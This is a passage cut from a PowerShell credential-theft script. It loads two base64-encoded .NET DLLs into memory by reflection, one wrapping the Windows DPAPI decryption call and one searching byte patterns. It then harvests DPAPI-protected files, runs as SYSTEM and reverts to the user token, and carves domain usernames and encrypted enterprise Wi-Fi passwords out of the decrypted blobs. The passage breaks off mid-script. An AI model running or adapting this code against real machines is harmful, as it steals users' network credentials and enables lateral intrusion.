AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" )) | Out-Null } # This DLL contains Windows DPAPI UnprotectData() function if ( -not ([ System.Management.Automation. PSTypeName ] 'DPAPI' ) . Type ) { # DPAPI.dll [ Reflection. Assembly ]:: Load ([ Convert ]:: FromBase64String ( "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YWdzAHBDaXBoZXJUZXh0AHBzekRlc2NyaXB0aW9uAHBzAGRhdGEAYmxvYgBwbGFpblRleHQAa2V5VHlwZQBlbnRyb3B5AGRlc2NyaXB0aW9uAHBsYWluVGV4dEJ5dGVzAGVudHJvcHlCeXRlcwBjaXBoZXJUZXh0AFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBPdXRBdHRyaWJ1dGUAY2lwaGVyVGV4dEJ5dGVzAGFyZ3MAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAERsbEltcG9ydEF0dHJpYnV0ZQBjcnlwdDMyLmRsbABUeXBlAFJ1bnRpbWVUeXBlSGFuZGxlAEdldFR5cGVGcm9tSGFuZGxlAE1hcnNoYWwAU2l6ZU9mAEJ5dGUAQWxsb2NIR2xvYmFsAEludFB0cgBaZXJvAG9wX0VxdWFsaXR5AEV4Y2VwdGlvbgBDb3B5AFN0cmluZwBFbXB0eQBTeXN0ZW0uVGV4dABFbmNvZGluZwBnZXRfVVRGOABHZXRCeXRlcwBDb252ZXJ0AFRvQmFzZTY0U3RyaW5nAEdldExhc3RXaW4zMkVycm9yAFN5c3RlbS5Db21wb25lbnRNb2RlbABXaW4zMkV4Y2VwdGlvbgBvcF9JbmVxdWFsaXR5AEZyZWVIR2xvYmFsAEZyb21CYXNlNjRTdHJpbmcAR2V0U3RyaW5nAC5jY3RvcgBvcF9FeHBsaWNpdABTdHJ1Y3RMYXlvdXRBdHRyaWJ1dGUATGF5b3V0S2luZABTVEFUaHJlYWRBdHRyaWJ1dGUAQ29uc29sZQBXcml0ZUxpbmUAZ2V0X01lc3NhZ2UAZ2V0X0lubmVyRXhjZXB0aW9uAAAAZVUAbgBhAGIAbABlACAAdABvACAAYQBsAGwAbwBjAGEAdABlACAAZABhAHQAYQAgAGIAdQBmAGYAZQByACAAZgBvAHIAIABCAEwATwBCACAAcwB0AHIAdQBjAHQAdQByAGUALgAAQ0MAYQBuAG4AbwB0ACAAaQBuAGkAdABpAGEAbABpAHoAZQAgAHAAbABhAGkAbgB0AGUAeAB0ACAAQgBMAE8AQgAuAAA/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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAADAAAAJAzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" )) | Out-Null } # This DLL is code that I have found available in StackOverflow to find locate offsets for specific byte array patterns. if ( -not ([ System.Management.Automation. PSTypeName ] 'Pattern.Search' ) . Type ) { # PatternSearch.dll [ Reflection. Assembly ]:: Load ([ Convert ]:: FromBase64String ( "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YgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAwAAAAwNQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=" )) | Out-Null Write-Verbose "Pattern.Search.dll has been reflected." } $NullReferenceString = "" $ProtectedFiles = @() $ProtectedFiles += Get-ProtectedData if ( $ProtectedFiles . Length -eq 0 ) { Write-Output "Error: No DPAPI binary data was retrieved." return } Write-Verbose "Harvested $( $ProtectedFiles . Length ) files. " # https://github.com/ash47/EnterpriseWifiPasswordRecover [byte[]] $PasswordPattern = @(0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01) [byte[]] $UsernamePattern = @(0x04, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00) $ProtectedFiles | ForEach-Object { # calls DPAPI UnprotectData(byte[] encrypted, byte[] entropy, out string Description) $DecryptedData = [DPAPI]::Decrypt([IO.File]::ReadAllBytes(" C:\windows\temp\ $_ "), [Text.Encoding]::UTF8.GetBytes([String]::Empty), [ref] $NullReferenceString ) $UsernameOffset = [Pattern.Search]::Locate( $DecryptedData , $UsernamePattern )[0] $PasswordOffset = [Pattern.Search]::Locate( $DecryptedData , $PasswordPattern )[0] # Here we will have Username and Domain $DomainAndUsername = [Text.Encoding]::UTF8.GetString((Get-String -InputStream ( $DecryptedData [( $UsernameOffset +8).. $PasswordOffset ]))) | Out-String $EncryptedPassword = $DecryptedData [ $PasswordOffset .. $DecryptedData .Length] # Removes last null bytes. (No Padding will be superior to 16 bytes) foreach( $i in 0..16) { $EncryptedPassword = Remove-LastNullByte -Array $EncryptedPassword } $DumpFile = " C:\windows\temp\password.bin " [IO.File]::WriteAllBytes( $DumpFile , $EncryptedPassword ) # SYSTEM can't decrypt password files on it's own. Now we RevertToSelf() so we are able to decrypt it. $ReversionStatus = [Revert]::RevertBack(); if( $ReversionStatus -eq $false ) { Write-Output " Could not revert back to user. " return } # Last 